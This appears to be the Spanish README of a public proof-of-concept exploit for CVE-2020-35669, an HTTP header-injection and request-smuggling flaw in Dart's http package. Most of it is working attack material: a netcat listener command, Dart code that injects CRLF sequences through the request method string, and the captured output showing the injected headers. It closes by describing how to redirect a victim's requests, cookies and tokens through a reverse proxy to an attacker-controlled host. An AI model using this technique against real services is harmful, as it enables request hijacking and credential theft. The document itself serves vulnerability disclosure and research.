n0npax/cve-2020-35669Exploit de prueba de concepto para CVE-2020-35669 que demuestra contrabando de solicitudes HTTP e inyección de cabeceras en el paquete http de Dart a través de parámetros de método manipulados, permitiendo el bypass del proxy inverso y la manipulación de la cabecera Host.
ejecute el servidor dummy usando la primera terminal
sudo nc -l 127.0.0.1 80
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
void main() async {
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
- Uri(scheme: "http", path: "/llama", host: "google.com"));
+ Uri(scheme: "http", path: "/llama", host: "localhost"));
var rs = await r.send();
var resp = await Response.fromStream(rs);
print('${resp.body}');
ejecute main.dart usando la segunda terminal
dart run main.dart
nc debería recibir la solicitud dada
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
Uri(scheme: "http", path: "/llama", host: "google.com"));
var rs = await r.send();
Suponiendo que diff mostrado arriba no fue aplicado y el usuario está detrás de un rev-proxy Se alcanzó el sitio web servido por example.com.
dart run main.dart
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
...
... blah blah blah
...
Si el desarrollador está usando Request para abstraer la generación de llamadas HTTP y está aceptando un parámetro de método del usuario, el usuario puede hacer algo de magia como inyección de encabezados o falsificación de rutas.
Esto puede ser explotado de muchas maneras y parece ser bastante importante especialmente en caso de que haya un proxy inverso. Un proxy podría simplemente pasar la solicitud de alguien a cualquier host basado en el encabezado host.
Supongamos que estoy reemplazando example.com con my-evil-uservice.org y la víctima está trabajando en una empresa detrás del proxy. Esto significa que puedo redirigir llamadas con encabezados/cookies(tokens) y bla bla bla. Con base en esto, se puede robar llamadas con todos los encabezados/cookies.